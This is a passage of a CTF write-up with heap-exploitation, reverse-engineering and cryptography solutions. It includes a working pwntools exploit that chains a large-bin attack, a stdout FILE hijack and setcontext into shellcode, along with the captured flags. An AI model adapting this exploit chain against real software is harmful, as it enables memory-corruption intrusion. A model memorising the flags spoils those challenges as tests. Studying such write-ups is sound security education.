  log.failure(<span class="hljs-string">"libc not found !"</span>)

def <span class="hljs-keyword">new</span>(index,data):
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(<span class="hljs-string">"1"</span>)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(index)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(str(len(data)))
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.send(data)
  pass


def <span class="hljs-built_in">remove</span>(index):
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(<span class="hljs-string">"2"</span>)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(index)
  pass

def show(index):
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(<span class="hljs-string">"3"</span>)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(index)

def heap(b):
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(<span class="hljs-string">"5"</span>)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(str(b))

<span class="hljs-built_in">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  r = <span class="hljs-built_in">process</span>([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-built_in">else</span>:
  r = remote(host ,port)

<span class="hljs-built_in">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
  fuck = {<span class="hljs-number">0</span>: <span class="hljs-string">"琴"</span>,<span class="hljs-number">1</span>:<span class="hljs-string">"瑟"</span>}
  <span class="hljs-built_in">for</span> i in xrange(<span class="hljs-number">7</span>):
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x80</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0xe0</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0xf0</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x1e0</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x140</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-built_in">print</span> i
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x88</span>)
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0xf0</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  heap(<span class="hljs-number">0xf1</span>)
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],p64(<span class="hljs-number">0x81</span>)*<span class="hljs-number">60</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">96</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],p64(<span class="hljs-number">0x91</span>)*<span class="hljs-number">31</span> + p64(<span class="hljs-number">0x91</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0x88</span> + p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">11</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  show(fuck[<span class="hljs-number">1</span>])
  r.recv(<span class="hljs-number">0x105</span>)
  libc = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x1e4ca0</span>
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(hex(libc)))
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">60</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])

  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">128</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  <span class="hljs-built_in">for</span> i in xrange(<span class="hljs-number">6</span>):
    <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x400</span>)
    <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
    <span class="hljs-built_in">print</span> i
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x400</span>)
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x200</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x80</span>)


  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],p64(<span class="hljs-number">0x91</span>)*<span class="hljs-number">31</span> + p64(<span class="hljs-number">0x421</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0x88</span> + p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">11</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  show(fuck[<span class="hljs-number">1</span>])
  r.recv(<span class="hljs-number">0x10d</span><span class="hljs-number">-8</span>)
  heap = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x4d90</span>
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"heap = {}"</span>.format(hex(heap)))
  global_max_fast = <span class="hljs-number">0x1e7600</span> + libc
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x90</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x400</span>)
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x58</span> + p64(<span class="hljs-number">0x421</span>) + p64(global_max_fast<span class="hljs-number">-0x20</span>)*<span class="hljs-number">2</span> + p64(global_max_fast<span class="hljs-number">-0x20</span>)*<span class="hljs-number">2</span> + <span class="hljs-string">"A"</span>*<span class="hljs-number">0xc0</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])

  <span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(hex(libc)))

  _IO_wfile_sync = libc + <span class="hljs-number">0x1e5fc0</span>
  magic = libc + <span class="hljs-number">0x000000000012be97</span> <span class="hljs-meta"># mov    rdx,QWORD PTR [rdi+0x8] ; mov    rax,QWORD PTR [rdi] ; mov    rdi,rdx ; jmp    rax</span>

  <span class="hljs-built_in">print</span>(<span class="hljs-string">"_IO_wfile_sync = {}"</span>.format(hex(_IO_wfile_sync)))
  payload = <span class="hljs-string">"Z"</span>*<span class="hljs-number">0x30</span>
  setcontext = <span class="hljs-number">0x55e35</span> + libc
  payload += p64(setcontext) + p64(heap + <span class="hljs-number">0x4df0</span>)+<span class="hljs-string">"E"</span>*<span class="hljs-number">0x10</span> + p64(magic)
  payload += cyclic(<span class="hljs-number">96</span>) + p64(heap) + p64(<span class="hljs-number">0x21000</span>) + p64(<span class="hljs-number">0</span>)*<span class="hljs-number">2</span> + p64(<span class="hljs-number">7</span>)*<span class="hljs-number">3</span> + p64(heap+<span class="hljs-number">0x4ea0</span>)
  payload += p64(libc + <span class="hljs-number">0x117590</span>) + p64(heap+<span class="hljs-number">0x4ea8</span>)
  payload += (<span class="hljs-keyword">asm</span>(shellcraft.<span class="hljs-built_in">open</span>(<span class="hljs-string">"/flag"</span>)) +
              <span class="hljs-keyword">asm</span>(shellcraft.<span class="hljs-built_in">read</span>(<span class="hljs-string">"rax"</span>,heap+<span class="hljs-number">0x100</span>,<span class="hljs-number">0x100</span>)) +
              <span class="hljs-keyword">asm</span>(shellcraft.<span class="hljs-built_in">write</span>(<span class="hljs-number">1</span>,heap+<span class="hljs-number">0x100</span>,<span class="hljs-string">"rax"</span>)) + <span class="hljs-string">"\xeb\xfe"</span>)
  payload = payload.ljust(<span class="hljs-number">0x3f0</span>,<span class="hljs-string">"F"</span>)

  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],payload) <span class="hljs-meta"># large bin attack success</span>

  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"C"</span>*<span class="hljs-number">0x58</span> + p64(<span class="hljs-number">0x421</span>) + p64(libc + <span class="hljs-number">0x1e5090</span>)*<span class="hljs-number">2</span> + p64(heap+<span class="hljs-number">0x2c20</span>)*<span class="hljs-number">2</span> + p64(<span class="hljs-number">0x21</span>)*<span class="hljs-number">24</span>) <span class="hljs-meta"># fix large bin</span>
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"A"</span>*<span class="hljs-number">0x98</span>)
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"D"</span>*<span class="hljs-number">0x58</span> + p64(<span class="hljs-number">0xf1</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0xe0</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">0</span>])
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],<span class="hljs-string">"D"</span>*<span class="hljs-number">0x58</span> + p64(<span class="hljs-number">0xf1</span>) + p64(libc + <span class="hljs-number">0x1e575b</span>) + <span class="hljs-string">"D"</span>*<span class="hljs-number">0xe0</span>)
  <span class="hljs-built_in">remove</span>(fuck[<span class="hljs-number">1</span>])
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">0</span>],<span class="hljs-string">"D"</span>*<span class="hljs-number">0xe8</span>)
  payload = (p64(<span class="hljs-number">0x00000000fbad2887</span>) +
              p64(libc + <span class="hljs-number">0x1e57e3</span>)*<span class="hljs-number">7</span> +
              p64(<span class="hljs-number">0</span>)*<span class="hljs-number">7</span> +
              p64(<span class="hljs-number">0xffffffffffffffff</span>) +
              p64(<span class="hljs-number">0</span>) +
              p64(libc + <span class="hljs-number">0x1e7580</span>) +
              p64(<span class="hljs-number">0xffffffffffffffff</span>) +
              p64(heap + <span class="hljs-number">0x4dd0</span>) +
              p64(heap + <span class="hljs-number">0x4da0</span>) +
              p64(<span class="hljs-number">0</span>)*<span class="hljs-number">3</span> +
              p64(<span class="hljs-number">0x00000000ffffffff</span>) +
              p64(<span class="hljs-number">0</span>)*<span class="hljs-number">2</span> +
              p64(_IO_wfile_sync - <span class="hljs-number">0x38</span>) )
  payload = payload.ljust(<span class="hljs-number">0x100</span>,<span class="hljs-string">"\x00"</span>)
  # Fastbin attack stdout to <span class="hljs-built_in">get</span> stdout <span class="hljs-built_in">buffer</span> (stdout flag is <span class="hljs-number">0x000000fb</span>xxxxxx, so <span class="hljs-number">0x000000fb</span> can use to be fastbin <span class="hljs-built_in">size</span>).
  # Change puts stdout vtable to _IO_wfile_sync, and contorl rip &amp; rdi
  # Jump magic and setcontext to call mportect, and finally execute shellcode
  <span class="hljs-keyword">new</span>(fuck[<span class="hljs-number">1</span>],payload[<span class="hljs-number">0xb</span>:<span class="hljs-number">0xb</span>+<span class="hljs-number">0xe8</span>])
  r.interactive()</code></pre><p><code>flag{mountain_high_water_flows_16dd684fed65cc76}</code></p>
<h2 id="rev"><a class="header-link" href="#rev"></a>Rev</h2>
<h3 id="flash-1"><a class="header-link" href="#flash-1"></a>flash-1</h3>
<p>script:</p>
<pre class="hljs"><code>f=<span class="hljs-keyword">open</span>(<span class="hljs-string">"flash"</span>).<span class="hljs-keyword">read</span>()

def ff(a):
  <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(0x10000):
    <span class="hljs-keyword">if</span>((i*0x11) % 0xb248) == a:
       <span class="hljs-keyword">return</span> hex(i)


tt = []

start = 0x13d72;

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(start,0x13ea8,0x16):
  k = ord(f[i])*256 + ord(f[i+1])
  tt.<span class="hljs-keyword">append</span>(k)

#<span class="hljs-keyword">print</span> map(hex,tt)

flag = <span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> tt:
  flag = ff(i)[2:].<span class="hljs-keyword">decode</span>(<span class="hljs-string">"hex"</span>)+ flag
<span class="hljs-keyword">print</span> <span class="hljs-string">"flag{"</span>+flag+<span class="hljs-string">"}"</span>
</code></pre><p><code>flag{it&#39;s_time_to_pwn_this_machine!}</code></p>
<h3 id="babymisc"><a class="header-link" href="#babymisc"></a>babymisc</h3>
<p>script:</p>
<pre class="hljs"><code>from z3 import *
f=<span class="hljs-keyword">open</span>(<span class="hljs-string">"babymips"</span>).<span class="hljs-keyword">read</span>()



flag =<span class="hljs-string">""</span>


<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(0x10000,0x10000+81):
  <span class="hljs-keyword">if</span> ord(f[i]) != 0:
     flag += f[i];
  <span class="hljs-keyword">else</span> :
     flag += <span class="hljs-string">" "</span>;

#<span class="hljs-keyword">print</span> flag
dic = {}
block = []

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(0x10054,0x10054+81):
  block.<span class="hljs-keyword">append</span>(ord(f[i]))

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(0x798,0x798+4*26,4):
  #<span class="hljs-keyword">print</span> i/4+ord(<span class="hljs-string">"a"</span>)
  dic[chr((i-0x798)/4+ord(<span class="hljs-string">"a"</span>))] = ord(f[i])/4

<span class="hljs-keyword">print</span> <span class="hljs-string">"==MAPPING=="</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> dic:
  <span class="hljs-keyword">if</span> dic[i] != 9:
    <span class="hljs-keyword">print</span> i,dic[i];
<span class="hljs-keyword">print</span> <span class="hljs-string">"==board=="</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
  t = <span class="hljs-string">""</span>
  <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
    <span class="hljs-keyword">if</span> flag[i*9+j] == <span class="hljs-string">" "</span>:
      t+=<span class="hljs-string">"."</span>
    <span class="hljs-keyword">else</span> :
      t+=str(dic[flag[i*9+j]])
  <span class="hljs-keyword">print</span> t

#<span class="hljs-keyword">print</span> block

s= Solver()
flagb = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(56):
  flagb.<span class="hljs-keyword">append</span>(Int(<span class="hljs-string">"flag"</span>+str(i)))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> flagb:
  s.add(And(0&lt;=i,i&lt;=8))


aaa = []
<span class="hljs-keyword">cc</span> = 0
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(0x10000,0x10000+81):
  <span class="hljs-keyword">if</span> ord(f[i]) != 0:
     aaa.<span class="hljs-keyword">append</span>(dic[f[i]])
  <span class="hljs-keyword">else</span> :
     aaa.<span class="hljs-keyword">append</span>(flagb[<span class="hljs-keyword">cc</span>])
     <span class="hljs-keyword">cc</span>+=1
#<span class="hljs-keyword">print</span> aaa


<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
  t = []
  <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
    t.<span class="hljs-keyword">append</span>(aaa[i*9+j])
  s.add(<span class="hljs-keyword">Distinct</span>(t))

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
  t = []
  <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
    t.<span class="hljs-keyword">append</span>(aaa[j*9+i])
  s.add(<span class="hljs-keyword">Distinct</span>(t))

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9):
  t = []
  <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> <span class="hljs-keyword">range</span>(9): 
    t.<span class="hljs-keyword">append</span>(aaa[block[i*9+j]])
  s.add(<span class="hljs-keyword">Distinct</span>(t))

<span class="hljs-keyword">print</span> s.check()
#<span class="hljs-keyword">print</span> s.model()

fff = <span class="hljs-string">""</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> flagb:
  j = s.model()[i].as_long()
  #<span class="hljs-keyword">print</span> <span class="hljs-built_in">j</span>
  <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> dic:
    <span class="hljs-keyword">if</span> dic[k] == j:
      fff+=k;
      <span class="hljs-keyword">break</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"flag{"</span>+fff+<span class="hljs-string">"}"</span></code></pre><p><code>flag{zacedxqsxaqezcscxwzqeczsxddqsxczwaqexczxacdeweasqccsqzae}</code></p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="babyring"><a class="header-link" href="#babyring"></a>babyring</h3>
<p>It xor the 64 outputs from RSA encryption, all values are 64-bits,
We can control its value by generate random inputs until the outputs forms an full rank matrix under GF(2), and solve the linear equation.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> struct
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> ARC4

K = <span class="hljs-number">64</span>
e = <span class="hljs-number">65537</span>
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'ns.txt'</span>) <span class="hljs-keyword">as</span> f:
    Ns = [int(e) <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> f]

msg = <span class="hljs-string">b'0'</span>
key = hashlib.sha256(msg).digest()[:<span class="hljs-number">16</span>]
E = ARC4.new(key)
target = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(K):
    target = struct.unpack(<span class="hljs-string">'Q'</span>, E.encrypt(struct.pack(<span class="hljs-string">'Q'</span>, target)))[<span class="hljs-number">0</span>]
target = vector(GF(<span class="hljs-number">2</span>), (Integer(target).bits() + [<span class="hljs-number">0</span>] * <span class="hljs-number">64</span>)[:<span class="hljs-number">64</span>])

X, M = [], Matrix()
<span class="hljs-keyword">while</span> M.rank() != <span class="hljs-number">64</span>:
    M = []
    <span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> Ns:
        x = random.randrange(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>&lt;&lt;<span class="hljs-number">64</span>)
        row = pow(x, e, n)
        row = vector(GF(<span class="hljs-number">2</span>), (Integer(row).bits() + [<span class="hljs-number">0</span>] * <span class="hljs-number">64</span>)[:<span class="hljs-number">64</span>])
        M.append(row)
        X.append(x)
    M = Matrix(GF(<span class="hljs-number">2</span>), M)
print(target)

Y = M.solve_left(target)
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'x.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    <span class="hljs-keyword">for</span> x, y <span class="hljs-keyword">in</span> zip(X, Y):
        f.write(str(x <span class="hljs-keyword">if</span> y <span class="hljs-keyword">else</span> <span class="hljs-number">0</span>) + <span class="hljs-string">'\n'</span>)</code></pre><h3 id="emmm"><a class="header-link" href="#emmm"></a>emmm</h3>
<p>The cipher is quite simple:</p>
<pre class="hljs"><code><span class="hljs-attr">P</span> = <span class="hljs-number">247359019496198933</span>
<span class="hljs-attr">C</span> = <span class="hljs-number">223805275076627807</span>
<span class="hljs-attr">M</span> = <span class="hljs-number">2</span>**<span class="hljs-number">60</span>
<span class="hljs-attr">K0</span> = random.randint(<span class="hljs-number">1</span>, P-<span class="hljs-number">1</span>)
<span class="hljs-attr">K1</span> = random.randint(<span class="hljs-number">1</span>, P-<span class="hljs-number">1</span>)

<span class="hljs-comment"># not a bijection? can be adjusted but I'm lazy</span>
def encrypt_block(x):
    <span class="hljs-attr">tmp</span> = x * K0 % P
    <span class="hljs-attr">tmp</span> = tmp * C % M
    <span class="hljs-attr">tmp</span> = tmp * K1 % P
    return tmp
</code></pre><p>So that we have following equation:</p>
<pre class="hljs"><code>q := <span class="hljs-comment">((x * K0)</span> <span class="hljs-meta">%</span> p * C) <span class="hljs-comment">// M</span>
q == <span class="hljs-comment">((x * C * M^-1)</span> * K<span class="hljs-number">0</span> - <span class="hljs-comment">(y * M^-1)</span> * K<span class="hljs-number">1</span>^<span class="hljs-number">-1</span>) <span class="hljs-meta">%</span> P</code></pre><p><code>q</code> is 2 bits shorter than <code>P</code> and it is in the lattice of:</p>
<p>$$
L = \begin{bmatrix} 
    x_1 C M^{-1} &amp; x_2 C M^{-1} &amp; \dots  &amp; x_n C M^{-1} \
    y_1 M^{-1}   &amp; y_2 M^{-1}   &amp; \dots  &amp; y_n M^{-1}   \
    P            &amp; 0            &amp; \dots  &amp; 0            \
    0            &amp; P            &amp; \dots  &amp; 0            \
    \vdots       &amp; \vdots       &amp; \ddots &amp; \vdots       \
    0            &amp; 0            &amp; \dots  &amp; P
    \end{bmatrix}
$$</p>
<p>Running LLL on L gives an reduced basis which contains vectors much shorter than <code>q</code>. When I was trying to check <code>q</code> is in the lattice with <code>L.solve_left(q)</code>, I found that <code>q</code> is linear combination of row 3 and row 4, and its coefficient is in the following set:</p>
<pre class="hljs"><code>    c_row3 = (+-) { <span class="hljs-number">124785508</span>, <span class="hljs-number">163234487</span>, <span class="hljs-number">201683466</span>, <span class="hljs-number">47887550</span>, <span class="hljs-number">86336529</span> }
    c_row4 = (+-) { <span class="hljs-number">38448979</span> }</code></pre><p>The remaining parts are trying all possible combinations, and bruteforce the missing bits that decrypt to ascii.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> multiprocessing <span class="hljs-keyword">as</span> mp

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>:</span>
    P =  <span class="hljs-number">247359019496198933</span>
    C =  <span class="hljs-number">223805275076627807</span>
    M = <span class="hljs-number">1152921504606846976</span>

    k1 = random.randint(<span class="hljs-number">1</span>, P<span class="hljs-number">-1</span>)
    k2 = random.randint(<span class="hljs-number">1</span>, P<span class="hljs-number">-1</span>)


    A = [<span class="hljs-number">124785508</span>, <span class="hljs-number">163234487</span>, <span class="hljs-number">201683466</span>, <span class="hljs-number">47887550</span>, <span class="hljs-number">86336529</span>]
    B = [<span class="hljs-number">38448979</span>]
    A.extend([-e <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> A])
    B.extend([-e <span class="hljs-keyword">for</span> e <span class="hljs-keyword">in</span> B])

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load_data</span><span class="hljs-params">(path, size)</span>:</span>
        X, Y = [], []
        <span class="hljs-keyword">with</span> open(path) <span class="hljs-keyword">as</span> f:
            <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(size):
                x, y = map(int, f.readline().strip().split(<span class="hljs-string">' '</span>))
                X.append(x)
                Y.append(y)
        <span class="hljs-keyword">return</span> X, Y

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_block</span><span class="hljs-params">(x)</span>:</span>
        tmp = x * k1 % P
        tmp = tmp * C % M
        tmp = tmp * k2 % P
        <span class="hljs-keyword">return</span> tmp

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gen_data</span><span class="hljs-params">(size)</span>:</span>
        X, Y = [], []
        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(size):
            pt = random.randint(<span class="hljs-number">1</span>, P<span class="hljs-number">-1</span>)
            ct = encrypt_block(pt)
            X.append(pt)
            Y.append(ct)
        <span class="hljs-keyword">return</span> X, Y

    n = Integer(inverse_mod(M, P))
    k1i = Integer(inverse_mod(k1, P))
    k2i = Integer(inverse_mod(k2, P))

    <span class="hljs-comment"># You could find those coefficient with your own data.</span>
    <span class="hljs-comment"># X, Y = gen_data(100)</span>
    X, Y = load_data(<span class="hljs-string">'res'</span>, <span class="hljs-number">100</span>)

    Q = [((x * k1 % P) * C) // M <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> X]
    q0 = vector(Q)


    Xs = Matrix([[x * C * n <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> X]])
    Ys = Matrix([[y * n     <span class="hljs-keyword">for</span> y <span class="hljs-keyword">in</span> Y]])
    Ps = diagonal_matrix([P] * len(X))

    z = block_matrix([[Xs], [Ys], [Ps]])



    L = z.LLL()
    print(L.solve_left(q0))

    <span class="hljs-keyword">for</span> a <span class="hljs-keyword">in</span> A:
        <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> B:
            Qp = L[<span class="hljs-number">2</span>] * a + L[<span class="hljs-number">3</span>] * b

            a0 = Qp[<span class="hljs-number">0</span>] * M // C
            x0 = X[<span class="hljs-number">0</span>]
            <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">10</span>):
                kk = inverse_mod(x0, P) * (a0 + i) % P
                <span class="hljs-keyword">if</span> all(int(((x * kk % P) * C) // M) == int(q) <span class="hljs-keyword">for</span> x, q <span class="hljs-keyword">in</span> zip(X, Qp)):
                    print(<span class="hljs-string">'found k1'</span>, kk, k1)
                    k1 = kk

    x0 = ((X[<span class="hljs-number">0</span>] * k1) % P * C) % M
    k2 = inverse_mod(x0, P) * Y[<span class="hljs-number">0</span>] % P
    <span class="hljs-keyword">if</span> all(encrypt_block(x) == int(y) <span class="hljs-keyword">for</span> x, y <span class="hljs-keyword">in</span> zip(X, Y)):
        print(<span class="hljs-string">'found k2'</span>, k1, k2)

main()

<span class="hljs-comment"># proc = [mp.Process(target=main) for _ in range(32)]</span>
<span class="hljs-comment"># for p in proc:</span>
<span class="hljs-comment">#     p.start()</span>
<span class="hljs-comment"># for p in proc:</span>
<span class="hljs-comment">#     p.join()</span></code></pre><h3 id="simple-curve"><a class="header-link" href="#simple-curve"></a>Simple Curve</h3>
<p>We have a hyperelliptic curve <code>H</code>, a jacobian point <code>Q = [65536] P</code>, where <code>P</code> contains the value of flag.</p>
<p>The jacobian of hyperelliptic curve is an abelian group, and its cardinality can be calculate is Magma with:</p>
<pre class="hljs"><code>P&lt;x&gt; := PolynomialRing(GF(<span class="hljs-number">2</span>^<span class="hljs-number">256</span>))<span class="hljs-comment">;</span>
C := HyperellipticCurve(x^<span class="hljs-number">5</span> + x^<span class="hljs-number">3</span> + <span class="hljs-number">1</span>, x^<span class="hljs-number">2</span> + x)<span class="hljs-comment">;</span>
C<span class="hljs-comment">;</span>
<span class="hljs-keyword">J </span>:= <span class="hljs-keyword">Jacobian(C);
</span>O := <span class="hljs-comment">#J;</span>
O<span class="hljs-comment">;</span></code></pre><p>so <code>P = [65536^-1 mod O] Q</code>.</p>
<h3 id="sham"><a class="header-link" href="#sham"></a>sham</h3>
<p>Collect some plain/ciphertext pairs from the service, and use gradient descent to construct a secret.</p>
<p>The secret will not equal to the real one, but the estimated function is very closed, and we can calculate the answer with proper rounding.</p>
<pre class="hljs"><code>H = hash_func().to(device)
H.load_state_dict(torch.load(<span class="hljs-string">"./param.pkl"</span>,  map_location=device))
H.eval()
<span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> H.parameters():
    p.requires_grad_(<span class="hljs-keyword">False</span>)

s = torch.randn(<span class="hljs-number">0x30</span>)
s.requires_grad_()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">(s, X)</span>:</span>
    ss = s.unsqueeze(<span class="hljs-number">0</span>).repeat(X.shape[<span class="hljs-number">0</span>], <span class="hljs-number">1</span>)
